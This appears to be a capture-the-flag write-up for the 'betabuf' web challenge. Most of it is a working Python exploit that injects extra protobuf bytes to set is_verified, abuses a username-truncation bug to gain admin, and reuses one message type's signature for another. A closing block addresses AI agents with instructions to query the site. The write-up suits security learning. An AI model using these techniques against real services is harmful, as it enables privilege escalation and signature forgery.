# Web Exploitation

<table><thead><tr><th width="347">Challenge</th><th>Topic</th></tr></thead><tbody><tr><td><a href="#betabuf-435-pts">betabuf (435 pts)</a></td><td>protobuf</td></tr></tbody></table>

## betabuf (435 pts)

### Description

We regret telling the intern about Protocol Buffers. Hopefully they'll clean things up before we leave closed beta.

Clarification: The --trusted-proxy args are not intended to be a part of the challenge. They are there because the remote sits behind a proxy. You can ignore them.

### Solution

Following is the idea of exploitation

* Craft payload to make is\_verified in account True
* Craft is\_admin True by utilizing vulnerability in 1024 bytes truncation in rename function
* Because SecureConnectionDetails and HighScore has same structure (int/boolean, string), we can use HighScore signature as SecureConnectionDetails signature

```python
import argparse
import json
import time
import requests
import game_pb2


def build_account_details(username, country):
    details = game_pb2.AccountDetails()
    details.username = username
    details.country = country
    payload = bytearray(details.SerializeToString())
    payload.extend([0x40, 0x01])
    return payload.hex()


def build_registration_invite(expires_in = 3600):
    now = int(time.time())
    invite = game_pb2.RegistrationInvite()
    invite.invite_id = 1
    invite.invited_by = "test invite"
    invite.invitation_message = "test message"
    invite.created_at = now
    invite.expires_at = now + expires_in
    return invite.SerializeToString().hex()


def register(base_url, username):
    data = {
        "account_details": build_account_details(username, "US"),
        "registration_invite": build_registration_invite(),
    }
    r = requests.post(f"{base_url}/register", json=data)
    r.raise_for_status()
    j = r.json()
    return j["token"], j["signature"]


def rename(base_url, token, signature):
    payload = {
        "old_user_token": token,
        "old_user_token_sig": signature,
        "new_username": "A" * 15 + "\u0018\u0018 \u0018",
    }
    r = requests.post(f"{base_url}/rename", json=payload)
    r.raise_for_status()
    j = r.json()
    return j["token"], j["signature"]


def submit_score(base_url, token, signature):
    payload = {
        "score": 1,
        "account_token": token,
        "account_token_sig": signature,
    }
    r = requests.post(f"{base_url}/submit_score", json=payload)
    r.raise_for_status()
    j = r.json()
    return j["score"], j["signature"]


def get_flag(base_url, admin_token, admin_sig, scd, scd_sig):
    payload = {
        "account_token": admin_token,
        "account_token_sig": admin_sig,
        "secure_connection_details": scd,
        "secure_connection_details_sig": scd_sig,
    }
    r = requests.post(f"{base_url}/admin", json=payload)
    r.raise_for_status()
    j = r.json()
    if "flag" not in j:
        raise RuntimeError(f"Err: {json.dumps(j)}")
    return j["flag"]


def main():
    url = "https://betabuf.secso.cc"
    username = "kosong"
    username += "A" * (1000 - len(username))
    token, sig = register(url, username)
    admin_token, admin_sig = rename(url, token, sig)
    scd, scd_sig = submit_score(url, admin_token, admin_sig)
    flag = get_flag(url, admin_token, admin_sig, scd, scd_sig)
    print(flag)


if __name__ == "__main__":
    main()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kos0ng.gitbook.io/ctfs/write-up/2025/k17-ctf/web-exploitation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
